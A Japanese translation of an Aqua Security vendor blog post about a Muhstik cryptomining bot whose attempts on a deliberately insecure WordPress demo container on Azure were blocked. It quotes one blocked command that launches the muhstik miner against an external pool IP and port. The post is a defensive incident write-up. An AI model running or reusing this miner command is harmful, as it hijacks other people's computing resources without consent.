AquaSecurityでクリプトマイニングの攻撃を実際にブロックした話 #AquaSecurity #DevSecOps #Container #Security
この記事は1年以上前に投稿されました。情報が古い可能性がありますので、ご注意ください。
本ブログは「Aqua Security」社の技術ブログで2019年7月2日に公開された「Crypto-mining Attack: The Container Security Demo that Went Terribly Right」の日本語翻訳です。
実際にマイニングを試みた攻撃に対してリアルタイムでAquaSecurityがブロック
セキュリティツールを紹介する際に、デモ環境がインターネットと接続されていると、時として良い実演の場となることがあります。
Aquaのソリューションアーキテクトとして、私はコンテナセキュリティ製品の聴衆に対して、本番環境さながらのデモを企画しようと常に心がけています。デモを見せることは、私にとっては組織における存在意義であり、私たちはコンテナ化されたクラウドネイティブアプリケーションの保護に全力を注いでいるDevOpsのエンジニアで構成されています。
シナリオ作成されたデモはどれだけ表面上良く見せようとしても、どこか信頼性に欠けていると私は感じています。
私はAzure(AKS)上に意図的に安全ではない、外向きのWordPress-as-an-Attack-Surface(WaaaS)をインストールしたデモ環境を作成していました。もちろん、Aquaがすべてを防ぐことを確認するためのシナリオを想定したものです。
Podが作成されてAquaの設定が反映され、特に問題もなく順調に確認を進めていました。しかし、驚いたことに、AquaのGUI上に出力される監査ログに期待していなかった一連の「block」通知(つまり、Aquaが疑わしいアクションをブロックしたインシデント)に気付きました。
以下のようなものが出力されていました。
特定のブロックされたイベントの1つは、以下のコマンドを実行しようとしたものです。
./muhstik -o 185.86.148.14:8080 -u prxy -p -k -v 0 -B -max-cpu-usage = 99
このコマンドを見て「CPUの利用率をわざわざ1%も残そうとしてくれたなんて、なんていい人なんだろう」と思いました。
過去のMuhstiksから学ぶ
Muhstiksという単語を聞いた覚えはありましたが内容は定かではなかったため、google及びTwitterを利用して背景を含め詳細な情報を調べてみたところ、それはクリプトマイニングの一種であることがわかりました。(こんなことを知らなかったなんて。。。)どうやら2017年からあるもので、ちょうどクリプトマイニングが横行していた頃と時期が重なります。
このボットが未だに一部のWordPressのイメージにあるのは不思議でした(大分前に横行していたのでもうなくなっているものかと)。しかし、結果的にAquaセキュリティの優れたデモになりました。
このコマンドの実行は明らかに自動化されており、先ほどの「block」通知からも、実際この悪意のある実行ファイルをダウンロードしようとしていたことが分かります。どうやらこの攻撃は、.exe実行ファイル自体を実行してC2サーバーに侵入する前にいくつか他の場所からも.exeをダウンロードしようとしました。
最初に起こったことは、複数の個々のソースから悪質な実行ファイルをダウンロードするための接続を開始しようとするボットによる試みでした。その試みはAquaのコンテナファイアウォールによってブロックされました。その後、元のイメージになかったコマンドを実行しようとして失敗しました。その試みは、Aquaの「Drift Prevention」の機能を有効にすることで防止されました。
muhstik実行可能ファイルに加えて、直後に別の実行可能ファイルを実行しようとしました。その実行可能ファイルはpyt8という名前で、2017年のWordPressのデフォルトテーマ内のファイル名から名付けられたようです。
2017年は今までで一番多くWordPressの脆弱性が発見された年であり、1年で43件がCVEに登録されました。2017年版のWordPressをインストールしている場合は、パッチを当てることを検討してください。
とはいえ、このボットの手口は、インターネット上の情報筋によると、管理者アカウントのパスワードを取得するために総当たり攻撃を使用することです。
攻撃方法の事はさておき、2019年6月19日の午後2時30分から午後3時30分まで、私はAquaで働く者として気分よく電車からの景色を楽しんでいました。少ない設定でクリプトマイニングの攻撃から実際にクラウドにデプロイしたコンテナを守ったのですから。
次回これが発生したときは、適切なタイミングで、必要なときにお客様との打ち合わせにて発生することを願います。それまではSplunkへ出力したログ、そしてもちろんAquaGUI上の監査ログを思い出として残します。
Aqua Securityが実際にどのように攻撃を防ぐのか興味を持たれましたら、弊社クリエーションラインまでお問合せください。
セキュリティの適用範囲:過去と現在
質の高いセキュリティパフォーマンスのリトマステストの1つは、それが新旧両方の脆弱性からあなたを守ることを証明することです。セキュリティチームは絶えず調査し、新しいCVEを探している必要があります。古い脆弱性でさえも悪用されないことを知っておくのは良いことです。The Whoの歌の中にもこのような歌詞があります。「我々は再びだまされることはないでしょう」。